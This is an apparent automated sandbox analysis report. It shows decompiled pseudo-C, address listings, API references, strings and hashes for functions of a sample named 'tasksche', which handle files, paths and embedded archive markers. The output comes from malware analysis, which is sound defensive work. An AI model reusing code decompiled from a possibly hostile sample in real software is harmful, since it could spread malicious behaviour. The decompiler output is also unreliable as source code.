											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												__eax = __ebp - 0xac90;
												SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C

Part of subcall function 0040D781: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D82F

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,76B4BB20,?,0040F541,?,00000003), ref: 0040E9A7
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
SHFileOperationW.SHELL32 ref: 0040EA56
GetFileAttributesW.KERNEL32(?), ref: 0040EA63
DeleteFileW.KERNEL32(?), ref: 0040EA71
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
SetWindowTextW.USER32(?,?), ref: 0040EBBC
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
GetDlgItem.USER32 ref: 0040ED6B
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040ED8A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EDB6

Strings

ProgramFilesDir, xrefs: 0040EC7D
\, xrefs: 0040ECCB
<br>, xrefs: 0040EB21
%s.%d.tmp, xrefs: 0040E999, 0040EA8E, 0040ED51, 0040ED81, 0040ED97
C:\Windows, xrefs: 0040E8B5
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EC58
", xrefs: 0040EBE1

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$C:\Windows$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-2533930246
Opcode ID: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				WCHAR* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(E0042977F, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							_t104 = E00408BAE(_t167 - 0x1040, _t150); // executed
							 *((intOrPtr*)(_t167 - 0x1c)) = _t104;
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000); // executed
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, L"*messages***", 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, "*messages***", 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bceb
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
